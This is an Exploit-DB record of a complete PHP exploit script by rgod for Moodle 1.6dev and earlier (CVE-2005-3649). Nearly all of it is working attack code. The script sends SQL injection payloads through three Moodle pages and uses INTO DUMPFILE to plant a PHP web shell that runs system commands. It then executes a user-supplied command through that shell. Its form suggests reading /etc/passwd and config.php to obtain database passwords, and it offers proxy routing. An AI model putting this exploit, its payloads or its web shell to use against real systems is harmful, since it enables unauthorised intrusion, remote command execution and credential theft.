Moodle <= 1.6dev SQL Injection / Command Execution Exploit

2005-11-10T00:00:00
ID EDB-ID:1312
Type exploitdb
Reporter rgod
Modified 2005-11-10T00:00:00

Description

Moodle <= 1.6dev SQL Injection / Command Execution Exploit. CVE-2005-3649. Webapps exploit for php platform

                                        
                                            &lt;?php
#   moodle16dev_xpl.php                                 4.19 10/11/2005        #
#                                                                              #
#           Moodle &lt;= 1.6dev get record()  SQL injection /                     #
#                   / remote commands execution                                #
#                              by rgod                                         #
#                  site: http://rgod.altervista.org                            #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  make these changes in php.ini if you have troubles                          #
#  with this script:                                                           #
#  allow_call_time_pass_reference = on                                         #
#  register_globals = on                                                       #
#                                                                              #
#  Sun-Tzu:"If your opponent is of choleric temper, seek to irritate him.      #
#  Pretend to be weak, that he may grow arrogant."                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt;Moodle 1.6dev  SQL Injection /remote cmmnds xctn&lt;/title&gt;
&lt;meta http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"&gt; &lt;style
type="text/css"&gt; body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt; &lt;body&gt; &lt;p class="Stile6"&gt;
Moodle &lt;= 1.6dev    remote      commands        xcution           &lt;/p&gt;&lt;p class="
Stile6"&gt;a script by rgod at &lt;a href="http://rgod.altervista.org"target="_blank"&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt; &lt;form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"&gt;&lt;p&gt;&lt;input type="text"   name="host"&gt;
&lt;span class="Stile5"&gt;hostname (ex: www.sitename.com)  &lt;/span&gt;   &lt;/p&gt; &lt;p&gt;  &lt;input
type="text" name="path"&gt;&lt;span class="Stile5"&gt;  path ( ex:  /moodle/  or just /)
&lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;input type="text" name="pathtoWWW"&gt;&lt;span class="Stile5"&gt;    path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="port" &gt;        &lt;span
class="Stile5"&gt; specify a port other than 80 (default value)&lt;/span&gt;      &lt;/p&gt;&lt;p&gt;
&lt;input type="text" name="command"&gt; &lt;span  class="Stile5"&gt;a Unix command ,
example: ls -la  to list directories, cat /etc/passwd to show passwd file,   cat
config.php to see database username and password&lt;/span&gt;
&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="proxy"&gt;&lt;span class="Stile5"&gt;send exploit through
an HTTP proxy (ip:port)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="submit"name="Submit"
value="go!"&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
			    }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
			    }
echo "&lt;/tr&gt;&lt;/table&gt;";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
                   }
	      else //fixed some errors in this function
 		  { if ($proxy=='')
		   {
             echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {
             $c = preg_match($proxy_regex,$proxy);
             if (!$c) {echo 'Not a valid proxy...';die;}
             $parts =explode(':',$proxy);
             echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
		     $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &lt; 0) {
           echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
                            }
	                       else
		                    {
                        echo "OK.&lt;br&gt;&lt;br&gt;";
                        $html= '';
                        socket_write($socket, $packet, strlen($packet));
                        echo "Reading response:&lt;br&gt;";
                        while ($out= socket_read($socket, 2048)) {$html.=$out;}
                        echo nl2br(htmlentities($html));
                        echo "Closing socket...";
                        socket_close($socket);
                            }
          }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
           {$ock=fsockopen($host,$port);
            if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;}
           }
             else
           {
	          $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid proxy...';
                        die;
                       }
	          $parts=explode(':',$proxy);
	          echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	          $ock=fsockopen($parts[0],$parts[1]);
	          if (!$ock) { echo 'No response from proxy...'; die;}
	       }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
                          else {echo "Exploit failed...";}
}


if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($command&lt;&gt;''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
  if ($pathtoWWW=='') {$pathtoWWW="../../www";}
  #default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for
  #different installations
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$SHELL="&lt;?php error_reporting(0);ini_set(\"max_execution_time\",0);echo \"Hi Master \";system(\$_GET[cmd]);?&gt;";

$SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

$SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*";
$SQL=urlencode($SQL);
$packet="GET ".$p."iplookup/ipatlas/plot.php?address=127.0.0.1&user=".$SQL." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();

}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?&gt;

# milw0rm.com [2005-11-10]